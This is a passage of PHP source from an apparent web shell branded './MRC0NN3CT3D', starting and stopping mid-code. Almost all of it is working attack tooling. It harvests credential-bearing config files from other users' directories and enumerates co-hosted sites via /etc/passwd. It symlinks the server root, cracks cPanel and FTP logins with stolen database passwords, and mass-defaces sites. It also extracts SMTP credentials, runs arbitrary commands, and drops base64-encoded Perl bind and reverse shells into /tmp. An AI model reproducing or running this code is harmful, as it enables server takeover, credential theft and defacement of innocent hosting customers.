"/home/$user_mrc/public_html/CART/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Cart/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/cart/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/ORDER/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Order/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/order/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/CLIENT/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Client/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/client/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/CLIENTAREA/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Clientarea/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/clientarea/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/SUPPORT/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Support/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/support/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/BILLING/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Billing/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/billing/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/BUY/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Buy/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/buy/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/MANAGE/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Manage/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/manage/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/CLIENTSUPPORT/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/ClientSupport/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Clientsupport/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/clientsupport/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/CHECKOUT/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Checkout/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/checkout/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/BILLINGS/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Billings/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/billings/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/BASKET/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Basket/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/basket/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/SECURE/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Secure/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/secure/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/SALES/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Sales/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/sales/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/BILL/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Bill/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/bill/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/PURCHASE/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Purchase/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/purchase/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/ACCOUNT/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Account/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/account/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/USER/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/User/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/user/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/CLIENTS/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Clients/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/clients/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/BILLINGS/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Billings/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/billings/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/MY/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/My/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/my/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/secure/whm/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/secure/whmcs/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/panel/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/clientes/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/cliente/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/support/order/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/bb-config.php" => "BoxBilling.txt",
"/home/$user_mrc/public_html/boxbilling/bb-config.php" => "BoxBilling.txt",
"/home/$user_mrc/public_html/box/bb-config.php" => "BoxBilling.txt",
"/home/$user_mrc/public_html/host/bb-config.php" => "BoxBilling.txt",
"/home/$user_mrc/public_html/Host/bb-config.php" => "BoxBilling.txt",
"/home/$user_mrc/public_html/supportes/bb-config.php" => "BoxBilling.txt",
"/home/$user_mrc/public_html/support/bb-config.php" => "BoxBilling.txt",
"/home/$user_mrc/public_html/hosting/bb-config.php" => "BoxBilling.txt",
"/home/$user_mrc/public_html/cart/bb-config.php" => "BoxBilling.txt",
"/home/$user_mrc/public_html/order/bb-config.php" => "BoxBilling.txt",
"/home/$user_mrc/public_html/client/bb-config.php" => "BoxBilling.txt",
"/home/$user_mrc/public_html/clients/bb-config.php" => "BoxBilling.txt",
"/home/$user_mrc/public_html/cliente/bb-config.php" => "BoxBilling.txt",
"/home/$user_mrc/public_html/clientes/bb-config.php" => "BoxBilling.txt",
"/home/$user_mrc/public_html/billing/bb-config.php" => "BoxBilling.txt",
"/home/$user_mrc/public_html/billings/bb-config.php" => "BoxBilling.txt",
"/home/$user_mrc/public_html/my/bb-config.php" => "BoxBilling.txt",
"/home/$user_mrc/public_html/secure/bb-config.php" => "BoxBilling.txt",
"/home/$user_mrc/public_html/support/order/bb-config.php" => "BoxBilling.txt",
"/home/$user_mrc/public_html/includes/dist-configure.php" => "Zencart.txt",
"/home/$user_mrc/public_html/zencart/includes/dist-configure.php" => "Zencart.txt",
"/home/$user_mrc/public_html/products/includes/dist-configure.php" => "Zencart.txt",
"/home/$user_mrc/public_html/cart/includes/dist-configure.php" => "Zencart.txt",
"/home/$user_mrc/public_html/shop/includes/dist-configure.php" => "Zencart.txt",
"/home/$user_mrc/public_html/includes/iso4217.php" => "Hostbills.txt",
"/home/$user_mrc/public_html/hostbills/includes/iso4217.php" => "Hostbills.txt",
"/home/$user_mrc/public_html/host/includes/iso4217.php" => "Hostbills.txt",
"/home/$user_mrc/public_html/Host/includes/iso4217.php" => "Hostbills.txt",
"/home/$user_mrc/public_html/supportes/includes/iso4217.php" => "Hostbills.txt",
"/home/$user_mrc/public_html/support/includes/iso4217.php" => "Hostbills.txt",
"/home/$user_mrc/public_html/hosting/includes/iso4217.php" => "Hostbills.txt",
"/home/$user_mrc/public_html/cart/includes/iso4217.php" => "Hostbills.txt",
"/home/$user_mrc/public_html/order/includes/iso4217.php" => "Hostbills.txt",
"/home/$user_mrc/public_html/client/includes/iso4217.php" => "Hostbills.txt",
"/home/$user_mrc/public_html/clients/includes/iso4217.php" => "Hostbills.txt",
"/home/$user_mrc/public_html/cliente/includes/iso4217.php" => "Hostbills.txt",
"/home/$user_mrc/public_html/clientes/includes/iso4217.php" => "Hostbills.txt",
"/home/$user_mrc/public_html/billing/includes/iso4217.php" => "Hostbills.txt",
"/home/$user_mrc/public_html/billings/includes/iso4217.php" => "Hostbills.txt",
"/home/$user_mrc/public_html/my/includes/iso4217.php" => "Hostbills.txt",
"/home/$user_mrc/public_html/secure/includes/iso4217.php" => "Hostbills.txt",
"/home/$user_mrc/public_html/support/order/includes/iso4217.php" => "Hostbills.txt",
"/home/$user_mrc/.my.cnf" => "Cpanel.txt",
"/home/$user_mrc/public_html/vdo_config.php" => "Voodoo",
"/home/$user_mrc/public_html/sites/default/settings.php" => "Drupal",
"/home/$user_mrc/public_html/config/settings.inc.php" => "PrestaShop",
"/home/$user_mrc/public_html/app/etc/local.xml" => "Magento",
"/home/$user_mrc/public_html/admin/config.php" => "OpenCart",
"/home/$user_mrc/public_html/po-content/config.php" => "Popoji.txt",
"/home/$user_mrc/public_html/forum/config.php" => "phpBB",
"/home/$user_mrc/public_html/slconfig.php" => "Sitelok",
"/home/$user_mrc/public_html/bw-configs/config.ini" => "BosWeb",
"/home/$user_mrc/public_html/config.php" => "AnyWebsite",
"/home/$user_mrc/public_html/application/config/database.php" => "Ellislab");
foreach($grab_config as $config => $nama_config) {
$ambil_config = file_get_contents($config);
if($ambil_config == '') {
} else {
$file_config = fopen("mrc_config/$user_mrc-$nama_config.txt","w");
fputs($file_config,$ambil_config);
}
}
}
}
}
}
echo "<center><a href='?dir=$dir/mrc_config'><font color=lime>Done</font></a></center>";
}
//JUMPING
if($_GET['mrc'] == 'jumping') {
$i = 0;
echo "<div class='margin: 5px auto;'>";
if(preg_match("/hsphere/", $dir)) {
$urls = explode("
", $_POST['url']);
if(isset($_POST['jump'])) {
echo "<pre>";
foreach($urls as $url) {
$url = str_replace(array("http://","www."), "", strtolower($url));
$etc = "/etc/passwd";
$f = fopen($etc,"r");
while($gets = fgets($f)) {
$pecah = explode(":", $gets);
$user = $pecah[0];
$dir_user = "/hsphere/local/home/$user";
if(is_dir($dir_user) === true) {
$url_user = $dir_user."/".$url;
if(is_readable($url_user)) {
$i++;
$jrw = "[<font color=lime>R</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
if(is_writable($url_user)) {
$jrw = "[<font color=lime>RW</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
}
echo $jrw."<br>";
}
}
}
}
if($i == 0) {
} else {
echo "<br>Total ada ".$i." Kamar di ".$ip;
}
echo "</pre>";
} else {
echo '<center>
<form method="post">
List Domains: <br>
<textarea name="url" style="width: 500px; height: 250px;">';
$fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
while($getss = fgets($fp)) {
echo $getss;
}
echo '</textarea><br>
<input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
</form></center>';
}
} elseif(preg_match("/vhosts/", $dir)) {
$urls = explode("
", $_POST['url']);
if(isset($_POST['jump'])) {
echo "<pre>";
foreach($urls as $url) {
$web_vh = "/var/www/vhosts/$url/httpdocs";
if(is_dir($web_vh) === true) {
if(is_readable($web_vh)) {
$i++;
$jrw = "[<font color=lime>R</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
if(is_writable($web_vh)) {
$jrw = "[<font color=lime>RW</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
}
echo $jrw."<br>";
}
}
}
if($i == 0) {
} else {
echo "<br>Total ada ".$i." Kamar di ".$ip;
}
echo "</pre>";
} else {
echo '<center>
<form method="post">
List Domains: <br>
<textarea name="url" style="width: 500px; height: 250px;">';
bing("ip:$ip");
echo '</textarea><br>
<input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
</form></center>';
}
} else {
echo "<pre>";
$etc = fopen("/etc/passwd", "r") or die("<center><font color=#F1515C>Can't read /etc/passwd</font></center>");
while($passwd = fgets($etc)) {
if($passwd == '' || !$etc) {
echo "<font color=#F1515C>Can't read /etc/passwd</font>";
} else {
preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
foreach($user_jumping[1] as $user_mrc_jump) {
$user_jumping_dir = "/home/$user_mrc_jump/public_html";
if(is_readable($user_jumping_dir)) {
$i++;
$jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
if(is_writable($user_jumping_dir)) {
$jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
}
echo $jrw;
if(function_exists('posix_getpwuid')) {
$domain_jump = file_get_contents("/etc/named.conf");
if($domain_jump == '') {
echo " => ( <font color=#F1515C>gabisa ambil nama domain nya</font> )<br>";
} else {
preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
foreach($domains_jump[1] as $dj) {
$user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
$user_jumping_url = $user_jumping_url['name'];
if($user_jumping_url == $user_mrc_jump) {
echo " => ( <u>$dj</u> )<br>";
break;
}
}
}
} else {
echo "<br>";
}
}
}
}
}
if($i == 0) {
} else {
echo "<br>Total ada ".$i." Kamar di ".$ip;
}
echo "</pre>";
}
echo "</div>";
}
//SYMLINK
if($_GET['mrc'] == 'symlink') {
@set_time_limit(0);
echo "<br><br><center><font color=#F1515C><h1>+--=[ Symlink ]=--+</h1></font></center><br><br><center><div class=content>";
@mkdir('sym',0777);
$htaccess = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$write =@fopen ('sym/.htaccess','w');
fwrite($write ,$htaccess);
@symlink('/','sym/root');
$filelocation = basename(__FILE__);
$read_named_conf = @file('/etc/named.conf');
if(!$read_named_conf)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "<br><br><div class='tmp'><table border='1' bordercolor='#F1515C' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($read_named_conf as $subject){
if(eregi('zone',$subject)){
preg_match_all('#zone "(.*)"#',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
$name = $UID['name'] ;
@symlink('/','sym/root');
$name = $string[1][0];
$iran = '\.ir';
$israel = '\.il';
$indo = '\.id';
$sg12 = '\.sg';
$edu = '\.edu';
$gov = '\.gov';
$gose = '\.go';
$gober = '\.gob';
$mil1 = '\.mil';
$mil2 = '\.mi';
$malay = '\.my';
$china = '\.cn';
$japan = '\.jp';
$austr = '\.au';
$porn = '\.xxx';
$as = '\.uk';
$calfn = '\.ca';
if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
{
$name = "<div style=' color: #F1515C ; text-shadow: 0px 0px 1px white; '>".$string[1][0].'</div>';
}
echo "
<tr>
<td>
<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
</td>
<td>
'.$UID['name']."
</td>
<td>
<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
</td>
</tr></div> ";
flush();
}
}
}
}
echo "</center></table>";
}
//CPANEL / FTP AUTO DEFACE
if($_GET['mrc'] == 'cpftp_auto') {
if($_POST['crack']) {
$usercp = explode("
", $_POST['user_cp']);
$passcp = explode("
", $_POST['pass_cp']);
$i = 0;
foreach($usercp as $ucp) {
foreach($passcp as $pcp) {
if(@mysql_connect('localhost', $ucp, $pcp)) {
if($_SESSION[$ucp] && $_SESSION[$pcp]) {
} else {
$_SESSION[$ucp] = "1";
$_SESSION[$pcp] = "1";
if($ucp == '' || $pcp == '') {
//
} else {
echo "[+] username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
$ftp_conn = ftp_connect($ip);
$ftp_login = ftp_login($ftp_conn, $ucp, $pcp);
if((!$ftp_login) || (!$ftp_conn)) {
echo "[+] <font color=#F1515C>Login Gagal</font><br><br>";
} else {
echo "[+] <font color=lime>Login Sukses</font><br>";
$fi = htmlspecialchars($_POST['file_deface']);
$deface = ftp_put($ftp_conn, "public_html/$fi", $_POST['deface'], FTP_BINARY);
if($deface) {
$i++;
echo "[+] <font color=lime>Deface Sukses</font><br>";
if(function_exists('posix_getpwuid')) {
$domain_cp = file_get_contents("/etc/named.conf");
if($domain_cp == '') {
echo "[+] <font color=#F1515C>gabisa ambil nama domain nya</font><br><br>";
} else {
preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
foreach($domains_cp[1] as $dj) {
$user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
$user_cp_url = $user_cp_url['name'];
if($user_cp_url == $ucp) {
echo "[+] <a href='http://$dj/$fi' target='_blank'>http://$dj/$fi</a><br><br>";
break;
}
}
}
} else {
echo "[+] <font color=#F1515C>gabisa ambil nama domain nya</font><br><br>";
}
} else {
echo "[-] <font color=#F1515C>Deface Gagal</font><br><br>";
}
}
//echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
}
}
}
}
}
if($i == 0) {
} else {
echo "<br>sukses deface ".$i." Cpanel by <font color=lime>./MRC0NN3CT3D</font>";
}
} else {
echo "<center>
<form method='post'>
Filename: <br>
<input type='text' name='file_deface' placeholder='index.php' value='index.php' style='width: 450px;'><br>
Deface Page: <br>
<input type='text' name='deface' placeholder='http://www.web-yang-udah-di-deface.com/filemu.php' style='width: 450px;'><br>
USER: <br>
<textarea style='width: 450px; height: 150px;' name='user_cp'>";
$_usercp = fopen("/etc/passwd","r");
while($getu = fgets($_usercp)) {
if($getu == '' || !$_usercp) {
echo "<font color=#F1515C>Can't read /etc/passwd</font>";
} else {
preg_match_all("/(.*?):x:/", $getu, $u);
foreach($u[1] as $user_cp) {
if(is_dir("/home/$user_cp/public_html")) {
echo "$user_cp
";
}
}
}
}
echo "</textarea><br>
PASS: <br>
<textarea style='width: 450px; height: 200px;' name='pass_cp'>";
function cp_pass($dir) {
$pass = "";
$dira = scandir($dir);
foreach($dira as $dirb) {
if(!is_file("$dir/$dirb")) continue;
$ambil = file_get_contents("$dir/$dirb");
if(preg_match("/WordPress/", $ambil)) {
$pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."
";
} elseif(preg_match("/JConfig|joomla/", $ambil)) {
$pass .= ambilkata($ambil,"password = '","'")."
";
} elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
$pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."
";
} elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
$pass .= ambilkata($ambil,'password = "','"')."
";
} elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
$pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."
";
} elseif(preg_match("/client/", $ambil)) {
preg_match("/password=(.*)/", $ambil, $pass1);
if(preg_match('/"/', $pass1[1])) {
$pass1[1] = str_replace('"', "", $pass1[1]);
$pass .= $pass1[1]."
";
}
} elseif(preg_match("/cc_encryption_hash/", $ambil)) {
$pass .= ambilkata($ambil,"db_password = '","'")."
";
}
}
echo $pass;
}
$cp_pass = cp_pass($dir);
echo $cp_pass;
echo "</textarea><br>
<input type='submit' name='crack' style='width: 450px;' value='Hajar'>
</form>
<span><font color=#F1515C>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</font></span><br></center>";
}
}
//SMTP
if($_GET['mrc'] == 'smtp') {
echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
function scj($dir) {
$dira = scandir($dir);
foreach($dira as $dirb) {
if(!is_file("$dir/$dirb")) continue;
$ambil = file_get_contents("$dir/$dirb");
$ambil = str_replace("$", "", $ambil);
if(preg_match("/JConfig|joomla/", $ambil)) {
$smtp_host = ambilkata($ambil,"smtphost = '","'");
$smtp_auth = ambilkata($ambil,"smtpauth = '","'");
$smtp_user = ambilkata($ambil,"smtpuser = '","'");
$smtp_pass = ambilkata($ambil,"smtppass = '","'");
$smtp_port = ambilkata($ambil,"smtpport = '","'");
$smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
echo "SMTP port: <font color=lime>$smtp_port</font><br>";
echo "SMTP user: <font color=lime>$smtp_user</font><br>";
echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>";
}
}
}
$smpt_hunter = scj($dir);
echo $smpt_hunter;
}
//FAKE ROOT
if($_GET['mrc'] == 'fake_root') {
ob_start();
$cwd = getcwd();
$ambil_user = explode("/", $cwd);
$user = $ambil_user[2];
if($_POST['reverse']) {
$site = explode("
", $_POST['url']);
$file = $_POST['file'];
foreach($site as $url) {
$cek = getsource("$url/~$user/$file");
if(preg_match("/hacked/i", $cek)) {
echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
}
}
} else {
echo "<center><form method='post'>
Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
Domain: <br>
<textarea style='width: 450px; height: 250px;' name='url'>";
reverse($_SERVER['HTTP_HOST']);
echo "</textarea><br>
<input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
</form><br>
<font color=#F1515C>NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center></font>";
}
}
//COMMAND
if($_GET['mrc'] == 'cmd') {
echo "<center><form method='post'>
<font style='text-decoration: underline;'>".$user."@".$ip.": ~ $ </font>
<input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
</form></center>";
if($_POST['do_cmd']) {
echo "<pre>".exe($_POST['cmd'])."</pre>";
}
}
//Cpanel Crack
if($_GET['mrc'] == 'cpanel') {
if($_POST['crack']) {
$usercp = explode("
", $_POST['user_cp']);
$passcp = explode("
", $_POST['pass_cp']);
$i = 0;
foreach($usercp as $ucp) {
foreach($passcp as $pcp) {
if(@mysql_connect('localhost', $ucp, $pcp)) {
if($_SESSION[$ucp] && $_SESSION[$pcp]) {
} else {
$_SESSION[$ucp] = "1";
$_SESSION[$pcp] = "1";
if($ucp == '' || $pcp == '') {
} else {
$i++;
if(function_exists('posix_getpwuid')) {
$domain_cp = file_get_contents("/etc/named.conf");
if($domain_cp == '') {
$dom = "<font color=#F1515C>gabisa ambil nama domain nya</font>";
} else {
preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
foreach($domains_cp[1] as $dj) {
$user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
$user_cp_url = $user_cp_url['name'];
if($user_cp_url == $ucp) {
$dom = "<a href='http://$dj/' target='_blank'><font color=lime>$dj</font></a>";
break;
}
}
}
} else {
$dom = "<font color=#F1515C>function is Disable by system</font>";
}
echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>) domain ($dom)<br>";
}
}
}
}
}
if($i == 0) {
} else {
echo "<br>sukses nyolong ".$i." Cpanel by <font color=lime>./MRC0NN3CT3D</font>";
}
} else {
echo "<center>
<form method='post'>
<font color=#F1515C>USER: <br>
<textarea style='width: 450px; height: 150px;' name='user_cp'>";
$_usercp = fopen("/etc/passwd","r");
while($getu = fgets($_usercp)) {
if($getu == '' || !$_usercp) {
echo "<font color=#F1515C>Can't read /etc/passwd</font>";
} else {
preg_match_all("/(.*?):x:/", $getu, $u);
foreach($u[1] as $user_cp) {
if(is_dir("/home/$user_cp/public_html")) {
echo "$user_cp
";
}
}
}
}
echo "</textarea><br>
PASS: <br></font>
<textarea style='width: 450px; height: 200px;' name='pass_cp'>";
function cp_pass($dir) {
$pass = "";
$dira = scandir($dir);
foreach($dira as $dirb) {
if(!is_file("$dir/$dirb")) continue;
$ambil = file_get_contents("$dir/$dirb");
if(preg_match("/WordPress/", $ambil)) {
$pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."
";
} elseif(preg_match("/JConfig|joomla/", $ambil)) {
$pass .= ambilkata($ambil,"password = '","'")."
";
} elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
$pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."
";
} elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
$pass .= ambilkata($ambil,'password = "','"')."
";
} elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
$pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."
";
} elseif(preg_match("/^[client]$/", $ambil)) {
preg_match("/password=(.*?)/", $ambil, $pass1);
if(preg_match('/"/', $pass1[1])) {
$pass1[1] = str_replace('"', "", $pass1[1]);
$pass .= $pass1[1]."
";
} else {
$pass .= $pass1[1]."
";
}
} elseif(preg_match("/cc_encryption_hash/", $ambil)) {
$pass .= ambilkata($ambil,"db_password = '","'")."
";
}
}
echo $pass;
}
$cp_pass = cp_pass($dir);
echo $cp_pass;
echo "</textarea><br>
<input type='submit' name='crack' style='width: 450px;' value='Crack'>
</form>
<span><font color=#F1515C>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</font></span><br></center>";
}
}
//NETWORK
if($_GET['mrc'] == 'network') {
echo "<center><form method='post'>
<u>Bind Port:</u> <br>
PORT: <input type='text' placeholder='port' name='port_bind' value='6969'>
<input type='submit' name='sub_bp' value='>>'>
</form>
<form method='post'>
<u>Back Connect:</u> <br>
Server: <input type='text' placeholder='ip' name='ip_bc' value='".$_SERVER['REMOTE_ADDR']."'>
PORT: <input type='text' placeholder='port' name='port_bc' value='6969'>
<input type='submit' name='sub_bc' value='>>'>
</form></center>";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
if(isset($_POST['sub_bp'])) {
$f_bp = fopen("/tmp/bp.pl", "w");
fwrite($f_bp, base64_decode($bind_port_p));
fclose($f_bp);
$port = $_POST['port_bind'];
$out = exe("perl /tmp/bp.pl $port 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre>".$out."
".exe("ps aux | grep bp.pl")."</pre>";
unlink("/tmp/bp.pl");
}
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
if(isset($_POST['sub_bc'])) {
$f_bc = fopen("/tmp/bc.pl", "w");
fwrite($f_bc, base64_decode($bind_connect_p));
fclose($f_bc);
